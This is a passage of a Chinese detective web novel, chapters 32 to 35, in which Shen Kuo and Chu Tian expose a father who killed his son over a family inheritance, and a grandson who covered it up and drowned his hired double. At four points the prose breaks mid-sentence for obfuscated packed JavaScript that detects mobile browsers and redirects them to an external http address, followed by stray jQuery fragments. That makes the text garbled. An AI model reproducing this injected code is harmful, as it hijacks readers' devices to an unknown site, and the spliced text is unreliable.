何萍却是嘴笨，不知该如何将死者生前的经历确切地描述出来，正四处张寻之时，见楚恬来了，于是便朝他招了招手，道：“楚公子，麻烦您配合我跟沈大人解释一下刚才我们推理出来的过程。” 楚恬抬眸看了沈阔一眼，默默地走到了何萍身边。 “还是与先才一样，我扮死者，你扮凶手。”何萍又道。 楚恬点了点头，用手在面前划了一下，“这是黑河。”接着他又一手掐着何萍的后脖颈，一手禁锢着他的左臂，然后将趴在地上的何萍的头使劲往面前那条虚无的“河”里面摁。 何萍奋力扑腾了几下，便没了动静。 最后，楚恬掀起何萍的领口和衣袖给沈阔展示刚刚留下来的红痕。 “周俊良就是这样被人摁进水里活活淹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14852988|159299||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 死的。”楚恬总结。 沈阔被两人活灵活现的演示给惊住了，他想笑，却又觉此处实在不是一个可以笑的场合和时机，于是将拳置于唇前轻轻咳了一声后，叫还趴在地上装死的何萍可以起来了。 “其实，你们只需要跟我大致解释一下就成。”沈阔看见楚恬时，眼尾添了一抹红晕，“我还是能够想象得出的。” 楚恬垂着头没说话，何萍亦是窘迫不已。 “找我有事？”沈阔忽然问起了楚恬。 “柳大哥回来了。”楚恬抬头。 “他人呢？”沈阔跟着楚恬一起出了殓房。 “在吃饭呢。”楚恬回，“奔波了一天一夜，把他累得不轻。” “柳大哥......”沈阔呵笑一声，听不出喜乐，“你们什么时候变这么要好了？” 楚恬喃喃：“我和柳大哥之间一直都是这样，只是大人之前没注意罢了。” 沈阔闻言侧头看了楚恬一眼，楚恬当即扭过了头去。 “还生气呢？”沈阔问他。 “不敢。”楚恬闷声回道。 “不敢？”沈阔哼笑，“那就是还在生了。” 楚恬没有回话，他一个奴仆，哪儿来的资格生主子的气？ 不过他似乎没有意识到，若沈阔真当他为奴仆的话，他连站在沈阔身边的资格都没有。 “先才是我一时口快，但我并无他意，你别放在心上。”沈阔道。 楚恬惊得微微张开了唇，还没等他回话，沈阔又说了一句：“对不起，以后我绝不会再说类似的话了。” “大人，你——”楚恬停下脚步，他望着沈阔的那双眸子忽地泛起了润意，这一刻，他再次看到了沈阔身上与其他人不一样的地方。 他桀骜，却又不失温雅，高贵，亦不失谦和。他从不是世人眼中高高在上的达官显贵，他也食尘世烟火，知人情冷暖。 可沈阔越是这样，楚恬越觉得他完美如谪仙，令他望尘莫及，让他不敢亵渎。 但他就是控制不住内心的暗流激涌。 “怎么？”沈阔有些慌了，他想要安慰楚恬，却还是将伸出去的手收了回来。 但令他始料未及的是，下一刻，楚恬就扑到了他的怀里，不过还没等沈阔反应过来，他又匆匆退开了。 “大人你怎么能这么好？”楚恬强忍哭意偏头看着他，“该是我跟您道歉才对——” “错了就是错了。”沈阔默默放下手，“没什么该与不该。” “可是我——”最初确实是利用您才逃出了魔窟。 “你只是想求条活路而已，又不是做了什么伤天害理的事，何错之有？”沈阔道，“况且我也没有任何损失，还......” 楚恬定定地看着沈阔，后者却换了口风，道：“算了......过去的事就不提了，从今以后你好生辅助我查案便是。” “是。”楚恬轻声回道。 沈阔看着他始终都是那副颤巍巍的怯弱模样，又劝慰他道：“倒是你，既已换了条活路，就没必要再沉陷于过去的痛苦回忆当中，就当过去的那个你已经死了，现在站在我面前的是一个全新的你，只有彻底摒弃思想上的束缚，才能真正赢得自由。” 32. 争家产机关算尽 “大人！”柳青囫囵吞下一块鸡肉后，起身喊道。 “吃完再说，不急这一时半刻。”沈阔朝他招了招手。 但柳青却有些迫不及待，他边吃边道：“属下打听得知，金香玉和朱文聪确实去了玉隐峰，但到慈安寺中祈福的只有金香玉一人，那朱文聪不知抽什么疯，在车里就跟人莫名其妙地吵了起来，之后，他更是连车都没出。” “为此，属下还特地寻到了与朱文聪发生争执的人。”柳青道，“起因是那人惊了朱文聪的马，导致朱文聪在车里摔了一跤，然后他掀起帘子便啐了那人一脸，两人由此发生了激烈的争吵，后来在旁人的劝解下得知了朱文聪的身份后那人才先让了步。” “并且在争吵过程中，朱文聪都没完全露出过脸。”柳青补充道。 “这就怪了。”楚恬喃喃，“以我的观察，朱文聪不像是那种甘愿做缩头乌龟的性格。” 沈阔点头表示认同，接着，他又问柳青：“也就是说，唯一见过朱文聪的外人还不认识他？” 柳青道：“对，他是经旁人提醒后才知晓的。属下也亲自问过了那个认出朱文聪之人，他说那日虽只从侧面瞧见过朱文聪一眼，但那身形与朱文聪有七八分相像，应该不会有错。” 柳青自觉朱文聪这个不在场证明已是板上钉钉，可他瞧着沈阔和楚恬的脸色却是更加的凝重，心中也是没了底，“那朱文聪虽未去到慈安寺为其父祈福，这一点上他确实撒了谎，可他也切切实实到了玉隐峰的，也是与金香玉同路回的城，除非他有分身术，否则绝不可能飞到松山去杀了他爹的。” 闻言，楚恬和沈阔对视了一眼，柳青瞅见后有一丝无奈，“我就打个比方，你们不会当真了吧？” 两人却都心照不宣地没有解释，柳青来回打量着沈阔和楚恬，见二人都不搭理自己，他也懒得自讨没趣，索性回了桌边继续啃起了大鸡腿。 楚恬和沈阔站了一会儿后，便去了书房梳理案宗，又过了一炷香的时间，奉沈阔之命前往朱氏布行查探线索的衙役回来了。 “大人，属下查到了。”苟大富近前禀道，“死者周俊良所穿衣物确为朱氏布行所售云锦，因这款布料是今年新出的款式，在纺织时出现了细微的瑕疵，所以朱桓便留下了这批云锦自用。” “属下暗中找朱家成衣铺裁缝和仆人辨认过了，此衣确为朱文聪的无疑。”苟大富最后补充道。 “知道了，你先下去吧。”沈阔朝苟大富挥了挥手，待对方离开后，他才缓缓看向楚恬，“两起命案中，朱文聪的嫌疑都是最大的。” 楚恬点了点头，结合现有的证据，他大胆地给出了猜测，“朱文聪应是在知晓朱桓决定将布行分给其伯叔后便动了杀心，于是找到了与自己容貌有八分相似的周俊良做自己的替身，目的就是给自己做朱桓死亡时的不在场证明。” “朱桓之死在城中传得沸沸扬扬，周俊良应该也有所耳闻，联想到朱文聪找他假扮身份一事，便猜准了朱文聪与其父之死脱不了干系，于是以此为要挟，几次三番问朱文聪要了银子，而朱文聪觉得周俊良活着始终是个祸患，于是一怒之下杀了他灭口。” 这段推理有理有据，且逻辑上也说得通，沈阔表示认同，但仍有一疑让他耿耿于怀。 “你说，金香玉在这两起命案中扮演着什么角色？”他问楚恬。 楚恬眉头轻蹙，思索后道：“包庇之罪定是免不了的，就看她是自愿的还是受了朱文聪的威胁。” “怎么，大人有别的看法？”楚恬见沈阔神色深沉，似是不认可他的这个结论。 沈阔眸色深幽，他想了许久，最终还是将那些虚无缥缈的猜测压在了心底，毕竟他没有证据，总不凭直觉办案。 于是他摇了摇头，“先让柳青把朱文聪带回来再说。” 柳青人虽有些钝，但好在办事利索，出去转了一趟的功夫，就将朱文聪给带了回来。 而沈阔等人连夜对朱文聪进行了审讯。 “我爹不是我杀的，他死的那天我去了慈安寺为他祈福。”朱文聪似是早已料到会有这么一天，面对沈阔的质询，一改往常的暴躁，冷静得出人意料。 “可本官查到的怎么与你所言不相符呢？”沈阔挑起唇角，似笑非笑，不紧不慢地说道。 既然朱文聪装傻充愣，那他就耐着性子陪他，看他能磨出什么花来。 “我......”朱文聪一顿，慌张之色在他的脸上一闪而过，但他仍然故作镇定，“我确实撒了一点小谎，那又如何？我去玉隐峰是真，想要为父祈福也不假，只是中途遇着了一点儿小小的变故，不知是哪个不长眼的东西惊了我的马匹，害得我在马车里便摔了一跤。” “当时我吃痛走不了路，又恐满身怒气冲撞到慈安寺中的神灵，所以才没有进去，但那又如何？”朱文聪复问，“佛祖在天有灵，自会感知到我的一片孝心，不会计较这些细枝末节的。” “那可就奇怪了。”沈阔听他狡辩完以后才继续道，“既然受了伤，何故不早些回城，却一直守在寺外？” “我是想等——” “金氏可曾亲口告诉过本官，你二人一向不和！”沈阔厉声质问道，“那日又是因为什么突然就冰释前嫌了？” “虽有嫌隙，但毕竟是一家人。”朱文聪道，“总不可能一辈子一句话都不说吧？” “所以你痛得连车都下不去，连只有几步之遥的慈安寺都走不进，却能独自在车中生着闷气的同时，硬扛几个时辰的痛苦，只为等金氏一同回家？”沈阔笑了。 “不行吗？”朱文聪无理可辩，便开始了强词夺理，“这有违大庆哪条律法吗？” 沈阔都懒得回他，继续又问起了他昨天下午之后的行踪。 “我不舒服，你们走后不久我便早早地睡下了，哪儿也没去。” 说完，朱文聪又此地无银般地补充了一句，“全家上下都可以为我证明。” “是吗？”沈阔笑道，“那你这一觉睡得可真死，昨天你家后院发生了那么大的事，竟都没把你吵醒。” “是睡得有些死了。”朱文聪顺着他的话说道。 “昨日傍晚，你三叔欲对你母亲行不轨之事，正巧被本官给撞到了，当时那阵仗闹得可不小，几乎全宅的人都跑来看热闹了，你的侍仆阿川也在，那本官可否认为他们的证言都作不得数？毕竟即便你离开过家，也无人知晓。” 朱文聪微不可察地松了口气，随即轻笑了一声，“从事发到结束连半个时辰都不到，大人觉得我能出去做些什么呢？” 朱文聪直直地盯着沈阔，反问的语气更有挑衅之意。 “况且大人走后不久，阿川来向我禀告此事时，我仍在房中睡觉，当时我家管事随他一起进的屋，也有别的下人亲眼看见我从屋中走出来，大人若是不信的话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14852989|159299||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尽管去问。” 沈阔的剑眉轻轻拧了一下，但很快又舒展开来，他回看着朱文聪的眼色从严肃深沉变成了意味不明的戏谑。 “谁说只有半个时辰了？”沈阔道，“从本官进入宅中询问下人开始到离开，花了将近两个时辰。” “而这两个时辰——”沈阔抬高音量后故意顿了一顿，他倾身凑近朱文聪，目不转睛地盯着他的脸，不容错过一丝的表情变化。 “足以让你从家中去往黑河边上跑个来回了！” “黑河”两个字仿如惊雷般猛地在朱文聪脑中炸开，他虽强装镇定，可嘴角却是控制不住地抽搐起来。 “大人说，说的什么，我，我听不明白。”朱文聪的舌头像是打了结一般抖不利索。 “那我不妨再说得明白一些！”沈阔从他的脸上移开了视线，转身朝着帷幔后的人招了招手。 陆方杰见状将周俊良所穿的那件衣裳呈了上来。 而朱文聪在看到那件衣裳后，瞳孔肉眼可见地瞪大了，接着他佯装不经意地别开了头。 面对证物，朱文聪一口咬定没见过，问及周俊良时，更是不承认与他相识。 朱文聪以为只要他抵死不认，沈阔便拿他没有办法。 但沈阔却是个文武双全之人，而朱文聪这态度摆明了是要让他行武的法子。 “大人这是想屈打成招？”朱文聪不为所惧，他挺直身子对沈阔道，“那你打死我好了！” 他甚至大言不惭地叫嚣道：“天子脚下，岂容你只手遮天？这世上总有心清目明之人为我鸣冤诉屈的。” 区区威胁，何以让沈阔生惧？ 他挥手让人将朱文聪带下去同时又下令道：“带朱文聪侍仆阿川于刑房中问话。” 柳青应声而去的那一刹那，朱文聪蓦地慌了神。 那些下人的脾性他再了解不过，都是些见风就倒的墙头草，怎么可能豁出性命来保他？ “沈大人，这事与阿川无关，你何故要为难他？”朱文聪在衙役手中挣扎不脱，便冲着沈阔大喊了起来，“他还只是个十五六岁的孩子，怎经得起你的严刑拷打？” 沈阔自是没有理会朱文聪的叫嚷，转身绕至了后堂。 而阿川在被带到刑房后，看到满屋刑具那一刻便已吓得尿湿了裤子，没等沈阔开口，他便下跪求起了饶。 “小人只是奉主子之命行事，还望大人明鉴！” “那日去往玉隐峰的确实不是我家公子，是他从外面雇的一个人，只是面容与他有些相似罢了。至于公子去了哪里又做了些什么，小人一概不知，求大人饶过小人吧！” 朱文聪精心策划的不在场证明就这样不费吹灰之力便被沈阔给破解了，自知无力回天的他颓然瘫坐在地上。 但朱文聪始终不承认是他杀了自己的父亲。 “他是我亲爹，我又怎么可能动手杀他？”朱文聪道，“我到那儿的时候，他已经死了。” “不知被谁在脑袋上砸了大窟窿......血流了一地。” “都这时候他，这小子还这么嘴硬。”柳青无奈问沈阔，“大人，咱接下来该怎么办？” 但沈阔却觉得朱文聪不像是在撒谎，正犹疑间，楚恬现身刑房外唤了他一声。 “何仵作有新的发现。” 沈阔回头看了眼精神有些恍惚的朱文聪，便跟着楚恬一同去了殓房。 33. 真凶浮出水面 “小人细查之下，发现朱桓头骨伤口截面呈现出从下往上的倾斜状。”何萍拨开朱桓的头发，将伤口的形状指给沈阔看。 沈阔倾身查看，但因痕迹太过细微，他一门外仅凭肉眼看不出有甚区别。 “这能说明什么？”沈阔问何萍。 何萍解释道：“从后袭击朱桓之人的身高定然比他要矮一些，如果凶犯比死者高的话，那伤口截面必然会呈现向下的倾斜状。” 沈阔的脑海里瞬时划过朱文聪的身形，偏偏他还真就比朱桓高出一尺左右。 接着，他的脑海里又浮现出另一个身形相符之人，不过楚恬当即便打消了他这一猜测。 “金香玉虽也有作案嫌疑，但朱桓死的当日，她确实去了慈安寺，有充分的不在场证明。” 排除了最有嫌疑的两人，剩下的那个，即使再让人觉得不可思议，却也最接近真凶之人。 当沈阔和楚恬重返朱宅找到朱父时，夜半三更，朱父仍未入睡，而是孤身一人坐在檐下的台阶上喝着闷酒。 “你们到底还是来了。”朱父苦笑道。 屋中灯火通明，朱家两兄弟齐聚一堂，人声时而压抑，时而鼎沸，或悄声猜度，或肆意畅笑。 “那小杂种十有八九是出不来了，等他伏了法，就没人再护着那贱蹄子了，老二的家产不都是你们两兄弟的么？”朱母笑意更甚。 “还是不能高兴得太早了，万一明儿就把他放回来了怎么办？”朱延道。 朱望摆手道：“绝无可能。那提刑司是何等地方啊，凡是被押进去的人，就没完整出来过，朱大宝这回定然是凶多极少了。” “那娘，你们打算如何处理金氏？”朱延又问母亲。 朱母一眼就看穿了儿子的小心思，没好气地瞪了他一眼，“瞧你个没出息的，她怎么说也是你二哥的女人，你怎就这般不知廉耻？” 朱延无所谓地说道：“她要是个规矩的女人，儿子还敬她三分，偏她竟不知廉耻的与儿子苟合到了一声，那我还管那些干什么？” 朱母哼道：“你就不怕你屋里的找你闹事？” “那个母夜叉？”朱延不屑道，“她要敢闹的话，我就休了她！” “行了行了，说正事儿呢，怎么又扯到金氏身上去了。”朱望不耐地敲了敲桌面，“对了，爹呢，爹去哪儿了？” 几人这才沉寂了下来，一会儿后，朱延先拉开了屋门，看到院子里站着的人后，朱延一愣，“沈大人，您怎么来了？” “沈大人，听说杀我儿子的凶手已经抓到了？”朱母拨开朱延，笑嘻嘻地从里面跑了出来，难得露出一副好脸色，“什么时候判啊？该是流放还是斩首啊？” “弑杀亲父者，天理难容，大人可切莫要手下留情啊。”朱望道。 沈阔扫了众人一眼，最后将目光落在一言不发的朱父身上。 “大人这么晚过来，可是有什么要紧的事吗？”见气氛有些不对劲，朱望又问道，“莫不是要我等过堂问话？” “只要能尽快给那不孝逆子定罪，我们现在就可以上堂作证。”朱母迫不及待地说道，“沈大人您可能不知道，他们二人之间一直存在奸I情，有次两人偷情的时候，恰被我儿给撞了个正着。因为这事，那逆子还打了他爹。” 说着，朱母便扑在了沈阔脚下，干嚎道：“就是那两人狼狈为奸合谋杀了我儿，还请大人替我儿作主啊！” “此事你之前为何不说？”沈阔问朱母。 朱母顿了一顿，回道：“都说家丑不可外扬，民妇委实不想让外人知晓这等丑事。” “那现在怎的又愿意说了？” 朱母一时间却答不上来。 沈阔叹了口气，接着将朱母扶了起来，他道：“本官此来，正是为杀害朱桓的凶手而来，你放心，本官一定秉公办案，绝不姑息。” “多谢大人！”朱母叩首，她的两个儿子也对着沈阔拜了一拜。 “朱康！”沈阔回头唤了朱父一声。 其余人一脸茫然地看着沈阔，又见朱父将手中的瓶子重重地掷在地上后，踉跄着站起了身。 “你自己走，还是本官差人将你押走？”沈阔问朱父。 朱父仍旧一语不发，但他却是抬起脚步朝着门口的方向慢慢挪去。 “大人，您这是什么意思？”朱母和朱望同时冲上了前拦下了精神恍惚的朱父。 沈阔未语，柳青替他答道：“朱康涉嫌杀害朱桓，现要被带回提刑司问话，尔等胆敢阻挠，视为同罪！” “不是......”朱望语结，他不可置信地看了眼父亲，实是无法将“杀人犯”三个字与这个老实巴交的父亲联系在一起，于是又问，“这其间是不是有什么误会？” “对啊。”朱延附和，“杀害我二哥的不是朱大宝吗？” “你们莫不是收了朱大宝的好处，想给他找个替罪羊吧？”朱母又开始胡咧咧起来，“他给了你们多少？我双倍给你们！” “放肆！”柳青厉声喝道，“提刑司办案，讲究的是证据，岂容尔等随口污蔑！” “让开！”柳青又斥了一声。 朱母还欲再撒泼，但他两个儿子到底还是被凶煞的柳青给吓住了，两人一边一个，将朱母架到了旁边。 “老头子，你快说话啊！”朱母挣脱束缚扑在了朱父身上。 但朱父只是心如死灰般地垂着头，任由朱母如何捶打，他仍是一个字也不肯说。 眼见朱母又要闹个没完没了，沈阔示意手下将她拖到了一旁，接着便率人回了提刑司。 朱父倒是没有再行狡辩，他对自己无意杀害次子朱桓一事供认不讳。 “大宝和金氏偷I情被老二撞破以后，他颓废了好些日子，我和他母亲更是趁着这个机会劝他同意将家产分给了老大和老三，原以为已经板上钉钉的事，却被金氏给搅和了。金氏告诉老二她怀了身孕，孩子是老二的，还说之前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14852990|159299||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 与大宝在一起也是受了胁迫，没想到老二还真信了。” “他又想着大宝毕竟是自己的儿子，看在金氏肚子里那个还未出世的孩子面上，只要二人诚心改过，之前的事他便不再计较。”朱父道，“任由我和他母亲如何劝说，他都不肯再依前面的话了，甚至每天早出晚归地躲着我们。重阳节那天，我终于蹲到他从屋中出来，应是不想让我们瞧见，还特地换了下人的衣裳，我一路跟着他到了松山上，并说服他再与我谈谈。” “我跟他说了金氏肚子里的孩子不是他的，他怎么也不肯相信，反而还怪起我和他母亲。” “他为什么要怪你们？”沈阔问。 朱父叹了口气道：“都怪那个不争气的老三，自他二嫂进门开始，他便一直觊觎金氏的美貌，甚至多次趁老二不在家的时候想要强迫金氏，第一次的时候就被大宝给救下来了，金氏便吵着闹着让老二给她作主，最后还是让他母亲给劝下来的。” 朱父说得云淡风轻，但可能只有他们自己才知道，朱母是如何“劝”的。 “朱桓撞破朱文聪和金氏的私情，怕也是你们从中作梗吧？”沈阔道。 朱父没有否认，“我们只是想让他认清那两人的真实面目而已。” “老二很是后悔，他怪自己之前太过软弱，他说要是第一次的时候便给金氏讨了公道，之后也就不会发生那些事情了。”朱父接着说道，“他说大宝毕竟是他的儿子，即便再不成器，也不能撒手不管，而金氏又怀了孩子，就更不可能将她逐出家门。他还说为了家庭和睦，等过些时日便将我和他母亲，以及老大和老三从他的宅中分出去，他会给我们置办好家宅，也会保证我们衣食无忧，但布行的事，我们妄想再插手。” “你没同意？” “我怎么可能同意！”朱父突然暴怒，“我是生他养他的亲爹，他不想着好好孝敬我们，竟然还想把我们给分出去，要是让外人知道了，我们的脸往哪儿搁？这个养不熟的白眼狼，竟然连那两个背叛了自己的儿子和那个贱女人都能原谅，却听不进我们一句劝。” “我们争吵了起来，一怒之下，我捡起石头砸在了他的头上。” “后来呢？”沈阔又问，“当时他就死了吗？” 朱父将脸一别，“我不知道，砸了他我就走了。” 朱父并不承认是他将朱桓扔下了山崖。 见他不说话，沈阔也不再他身上浪费时间，正欲离开之时，楚恬却忽然开了口。 “据我所知，朱桓是白手起家，全靠他自己孤身拼搏奋斗才取得了现在的成就。” “那又如何？”朱父不依，“若我没把他生下来，他连个屁都不是！” 若不是衙役及时将朱父按了下去，他恐怕得冲上前揍楚恬几拳，沈阔见状，连忙将楚恬拉起了。 “你能跟他说得通吗？”沈阔轻言安抚着愤愤不平的楚恬，“他要是能听进这些话，就不会酿下这般有违天理人伦的惨剧了。” 34. 山重水复终落定 “大人莫要冤枉妾身，朱文聪所谋之事妾身全然不知。”审讯房内，金香玉否认自己参与了两起命案。 即便是犯罪之人，也绝不会轻易承认自己的罪行，何况他们还真没有能够证明金香玉为朱文聪共谋的直接证据。因此金香玉的这番回答也在沈阔等人的预料之中。 金香玉此人看似柔弱可欺，实则软硬不吃，鉴于她和楚恬有着类似的经历，两人在情感上或许有着共鸣，且楚恬心思细腻，观察入微，更能从表面情绪窥透人的内心，所以审讯金香玉一事他便全权交给了楚恬，他只从旁协助。 面对二人的质询，金香玉面不改色地回道：“之所以给朱文聪作假证，是因为妾身之前受了他诸多照拂，而且他还威胁妾身，说要是不帮他这个忙的话以后便不会再护着妾身了，妾身害怕所以才答应了她......妾身若是知道他那般是为了谋杀桓郞的话，是万不会应下的。” “所以，你也认为朱桓是朱文聪所杀？”楚恬问她。 金香玉面露悲色，讶然地反问道：“难道不是吗？” 顿了一顿后，她继续说道：“你们突然将他押走，宅中上下揣测纷纭，妾身便也理所当然地作了番猜测。” “那周俊良威胁朱文聪一事你可知晓？”楚恬又问。 金香玉摇了摇头，“妾身不知，但妾身隐约察觉到他可能遇着了什么不好的事。”她时不时地抬眸瞧两人一眼，“朱文聪好赌，但好在花钱有度，可这几日他却频频从账房支钱，就连低价出售布匹也是为了给他凑银子，妾身也问过他好几次，可他却是什么也不肯说，只说他会解决好一切，让妾身不要担心。” “前天你们刚走不久他又要出去，还嘱咐我和阿川若有人问起便说他在房中休息。未曾想您二位去而复返，打乱了他的计划。” 楚恬再问她：“这次他也威胁你了么？” 金香玉如实道：“没有。” “那就是你之前骗了我们。”沈阔忍不住开口戳穿了金香玉的谎言，“你曾亲口告诉本官你和朱文聪关系不好，现又说他对你多有照拂，而你亦是三番五次的为他作假证，助他脱身。” 金香玉急忙辩言道：“最初关系不好是真，后来因三叔朱延欺辱我承了他恩情也是真。” 面对沈阔的步步紧逼，金香玉的眸中慢慢凝起了泪珠，沈阔见之头疼。 “你肚中的孩儿是谁的？”换了楚恬询问金香玉。 她的手轻轻抚上小腹，泰然自若地回道：“公子这话是为何意？自然是我家桓郞的。” 金香玉比想象中的还要难以对付，无论沈阔和楚恬如何威逼利诱，她都缄口如瓶，偏偏沈阔不能像对待别人那般对她施以酷刑。 金香玉在提刑司待了一个时辰不到，便开始犯起了头晕和恶心，即便沈阔不想放她离开，可她一直干呕，实是无法再继续审问下去。 临走之际，金香玉却反过来跟沈阔提了一个要求，“大人，能让妾身见朱文聪一面吗？” 沈阔不语，又听金香玉道：“今日一别，以后不知还有没有再见的机会了，再怎么说，他也曾有恩于妾身，妾身想跟他道声谢。” “又或许还能帮着大人劝一劝他。” 金香玉意有所指，沈阔又怎会听不明白，他嘴角噙笑，点头应了下来，“好啊。” “大人这是什么表情？”金香玉一走，楚恬看着哭笑不得的沈阔，忍不住问道。 沈阔将手揣在袖中，叹了口气，“想我终日打雁，今日却叫雁给啄了眼。这金氏真不一般啊。” “她很聪明。”楚恬道，“真假掺着说，明明已经看到她露出来的马脚，却总是抓不住。所以别说我们这些局外人了，怕是朱桓和朱文聪本人都分不清孰真孰假。” 楚恬看着金香玉远去的倩影，又问沈阔：“大人以为她肚中的孩子是谁的？” 沈阔挑起眉梢，“想知道？” 楚恬点了点头。 “去看看不就知道了？” 两人随着金香玉到了关押朱文聪的刑房外，但他们没有现身，而是隐身在拐角处偷听着两人谈话。 “文聪！”金香玉面对朱文聪时，又是另外一副娇弱神态。 “你怎么来了？”朱文聪被铁链栓着，起身时挣得链条哐哐作响。 金香玉双手扒着木头，只是一味地啜泣着，也不说话。 “他们怀疑你了？”朱文聪又问。 金香玉这才点了点头，朱文聪呸了几声，大骂官府中人全是草包饭桶，只敢逮着无辜妇人欺负。 “他们，没动手打你吧？”朱文聪将视线挪至金香玉的腹部。 “没有。”金香玉注意到朱文聪的神色后便将手轻轻抚上了肚子。 朱文聪哼了一声，“还算他们有点儿良心。” 金香玉忽然又低声哭泣了起来，她颤巍巍地对朱文聪说道：“文聪，我好害怕。” “你若是有个三长两短，我也就不活了。” “说什么傻话呢！”朱文聪安慰她道，“你要好好活着，不为你自己，也要为了我们的孩子坚强起来。” 金香玉哭声不止，“我本就是贱命一条，以为跟了朱桓总算能过上好日子了，谁想到私底下他竟是这样一个是非不分软弱无能之人，自己妻子被人欺辱却是一个字也不敢说，只有文聪你一直护着我。” “好不容易熬过了苦日子，你更得好好活下去。”朱文聪道，“老头不是已经立好分家的契书了么，以后再没人会欺负你了。” “那文聪你呢？”金香玉泪眼朦胧地看着朱文聪。 朱文聪叹了口气，“我毕竟杀了人，杀人偿命。算了，生死都无所谓了，好在你有了身孕，没有断了我家的香火。” “可是文聪——” “香玉，事已至此，什么也别说了。”朱文聪打断了金香玉的话，并再三叮嘱她道，“一定要好好活着，将我们的孩子抚养长大。” “嗯。”金香玉一边哭一边点着头。 许是情绪太过激动，她差点儿晕倒，她扶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14852991|159299||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着木门慢慢蹲坐在地上，又开始犯起呕来。 沈阔和楚恬见了，心照不宣地揉起了太阳穴。 身在局中不自知的朱文聪却慌了，得知金香玉已经审讯了一个多时辰，他更是又气又急，生怕金香玉动了胎气影响到了肚中的孩儿。 “他们不会轻易放过我的。”金香玉无奈苦笑道。 “这两起案子本就与你无关，你无需害怕。”朱文聪道，“等会儿我便找他们认下全部的罪便是。” “不，文聪，你不能认！”金香玉劝道。 朱文聪突地大义凛然起来，“反正横竖都是一死，早一天和迟一天有甚区别？我若是不认，他们必会再去打扰你的清净，于你养胎不利。” 金香玉还欲再劝，朱文聪赶起了人，“你走吧，本就是孽缘一场，就当从没认识我这个人，忘了我们之间的一切，重新开始吧。” 金香玉哭哭啼啼着，一步三回头的离开了。 她刚走不久，朱文聪便开始对狱卒嚷嚷着要见沈阔。 沈阔和楚恬相视着摇了摇头，无奈叹息了一声。 原本以为死到临头的朱文聪为了活命定会拉金香玉下水，两人互相攀咬，便好将金香玉一同落罪。 未曾想，朱文聪这个扶不起的阿斗在这一刻突然变得有担当了。 接下来的供述中，他将金香玉摘了个干干净净，为了彻底撇清她的嫌疑，甚至还心口不一地将金香玉给贬低了一通，并承认确实是他威胁了她。 “爹知道她和我有染后，一怒之下便打算将所有的家产分给我伯叔，我正一筹莫展之际，金香玉怀了身孕，她跟我爹说了之后，我爹很是高兴，于是就改了分家产的决定。” “你找人假扮自己的真正目的究竟是什么？”沈阔问他。 若非早有筹谋，又怎会做出如此精密的谋划。 朱文聪回道：“朱延太不是东西了，我原本是想趁机废了他，让他再没有胆子去欺负金香玉，但刚准备出门的时候，发现了我爷鬼鬼祟祟地跟着我爹，我有些好奇便跟了过去。” 朱文聪亲眼看见他父亲和爷爷吵了起来，也亲眼看到他爷打晕了他爹，等他爷跑了之后他才敢靠近他爹。 “我爷下太狠，等我过去时他已经没气了。”朱文聪道。 “既如此，你又为何不报官？” 朱文聪回：“虎毒不食子，若是让人知道我家发生了这样的事，那别人要怎么看我们？我家的布行的生意也别想再继续做下去了。况且即便我说了，官府的人就一定会相信吗？说不定反倒将我当成凶手给抓起来了。” “所以你将你父亲扔下了山崖，伪装成了意外？” “是。”朱文总点头，“至于周俊良，纯粹就是他自找的，我们明明商议好了价钱，事后他却几次三番的威胁于我。那天他又来找我，我一气之下便将他按进河里淹死了。” 末了，朱文聪还道：“这所有的一切都是我做的，一人做事一人当，你们不要再将无辜之人牵连进来。” 35. 家法 重阳节松山坠亡一案总算是落下了帷幕，楚恬的生活也重新归于宁静。 他甚至觉得有一丝寂寞。 沈阔被他母亲叫回了太师府，柳青等人也各自有事要忙，就连云儿和王辉之间的感情也进展迅速，两人几乎形影不离，好像只有楚恬每日无事可做，他只得日夜读书习字方能压抑住心底无端浮起的烦躁和孤寂。 就这样过了小半个月，十月初二这天，神龙见首不见尾的柳青破天荒地寻到了楚恬，并问楚恬要不要与他一同去太师府探望沈阔。 